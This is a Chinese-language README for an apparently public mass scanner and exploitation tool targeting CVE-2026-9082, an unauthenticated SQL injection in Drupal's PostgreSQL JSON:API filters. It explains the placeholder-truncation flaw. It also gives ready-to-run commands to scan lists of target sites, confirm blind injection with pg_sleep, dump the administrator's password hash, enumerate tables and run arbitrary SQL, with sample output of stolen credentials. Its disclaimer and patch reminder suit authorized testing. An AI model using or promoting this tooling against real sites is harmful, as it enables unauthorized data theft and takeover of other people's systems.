CVE-2026-9082 — Drupal PostgreSQL SQL 注入

批量扫描与利用工具

Drupal 核心（PostgreSQL）未认证 SQL 注入
通过滥用 PDO 占位符名称实现 JSON:API 过滤器数组键注入

概述

CVE-2026-9082 是 Drupal 核心中的一个极度严重 SQL 注入漏洞，影响所有使用 PostgreSQL 后端并运行 Drupal 8.0 至 11.3.9 的站点。该漏洞已于 2026-05-22 被列入 CISA 已知被利用漏洞（KEV）目录——正在野外被积极利用。

影响

严重性	CVSS	认证要求	攻击向量
严重	9.8+	无	HTTP (JSON:API)

数据外泄 — 提取数据库、用户、密码哈希
权限提升 — 创建管理员账户、修改内容
远程代码执行 — 在某些配置下可通过 pg_exec() 或 COPY ... PROGRAM 实现

受影响版本

状态	版本
❌ 受影响	Drupal 8.0.0 → 11.3.9（PostgreSQL 后端）
✅ 已修复	11.3.10, 11.2.12, 10.6.9, 10.5.10

工作原理

该缺陷位于 core/modules/pgsql/src/EntityQuery/Condition.php 中。translateCondition() 方法使用来自 JSON:API 过滤参数的、由用户控制的数组键来构造 PDO 占位符名称。PDO 只会将 [a-zA-Z0-9_] 解析为占位符名称，因此 ) 之后的任何后缀都会变成字面 SQL 被注入到查询中。

JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection

功能特性

✅ 批量扫描 — 并发扫描数百个目标
✅ 单目标模式 — 检测单个 Drupal 站点
✅ 基于时间的检测 — 通过 pg_sleep() 确认盲 SQL 注入
✅ 基于布尔的检测 — 行数对比
✅ 版本提取 — 识别 PostgreSQL 版本
✅ 数据库信息 — 提取当前用户和数据库名称
✅ 管理员凭据导出 — 用户名、邮箱、密码哈希（uid=1）
✅ 表枚举 — 枚举所有公共表
✅ 自定义 SQL 查询 — 运行任意提取查询
✅ 代理支持 — 通过 Burp Suite 或类似工具转发流量
✅ 输出到文件 — 保存批量扫描结果
✅ 彩色终端输出 — 结果清晰易读

安装

环境要求

Python 3.8+
pip（Python 包管理器）

安装依赖

# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082

# Install requirements
pip install requests

就是这么简单！只有一个依赖——requests。

使用方法

🕵️ 检测单个目标

python3 cve_2026_9082_scanner.py -u https://target.com --check

📡 批量扫描多个目标

python3 cve_2026_9082_scanner.py -f targets.txt

targets.txt 格式：

https://target1.com
target2.com
192.168.1.100

🔓 提取 PostgreSQL 版本

python3 cve_2026_9082_scanner.py -u https://target.com --version

🗄️ 提取数据库信息

python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo

👤 导出管理员凭据（uid=1）

python3 cve_2026_9082_scanner.py -u https://target.com --admin

📋 列出所有表

python3 cve_2026_9082_scanner.py -u https://target.com --tables

💉 自定义 SQL 查询

python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"

将结果保存到文件

python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt

使用代理（Burp Suite）

python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080

自定义时序设置

# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10

# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60

命令参考

示例输出

存在漏洞的目标

╔══════════════════════════════════════════════════════════════╗
║          CVE-2026-9082 - Drupal PostgreSQL SQLi             ║
║       Mass Scanner + Exploitation Tool v1.0.0               ║
╚══════════════════════════════════════════════════════════════╝
  CISA KEV: Added 2026-05-22  |  Advisory: SA-CORE-2026-004

[*] Checking: https://vulnerable-drupal-site.com

[!!] VULNERABLE - https://vulnerable-drupal-site.com
      Method: time-based (+5.2s)
      Resource: node/article

管理员凭据导出

[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...

参考资料

⚠️ 免责声明

本工具仅用于授权的安全测试、教育目的和道德研究。

未经授权访问计算机系统属于违法行为。作者不承担任何责任，亦不对因使用本程序造成的任何滥用或损害负责。

作者

Ridhin V A (@ridhinva) — 漏洞赏金猎人兼安全研究员

_{由于 CISA KEV 表示该漏洞正在野外被利用，故构建了此工具。请为你的 Drupal 站点打上补丁。}

`-u, --url`	单个目标 URL
`-f, --file`	包含目标的文件（每行一个）
`-o, --output`	将扫描结果保存到文件
`--check`	检测目标是否存在漏洞
`--version`	提取 PostgreSQL 版本
`--dbinfo`	提取数据库用户和数据库名称
`--admin`	提取 Drupal 管理员凭据（uid=1）
`--tables`	列出所有数据库表
`--query`	自定义 SQL 提取查询
`--threads`	批量扫描线程数（默认：20）
`--timeout`	HTTP 请求超时时间（默认：30 秒）
`--delay`	pg_sleep 检测延迟（默认：5 秒）
`--no-ssl-verify`	跳过 TLS 证书验证
`--proxy`	HTTP 代理（例如：http://127.0.0.1:8080）

Drupal 安全公告	SA-CORE-2026-004
CISA KEV	CVE-2026-9082
补丁提交	ea9524d9
NVD 条目	CVE-2026-9082
发现者	Michael Maturi

最受欢迎

drupal-jsonapi-sqli-scanner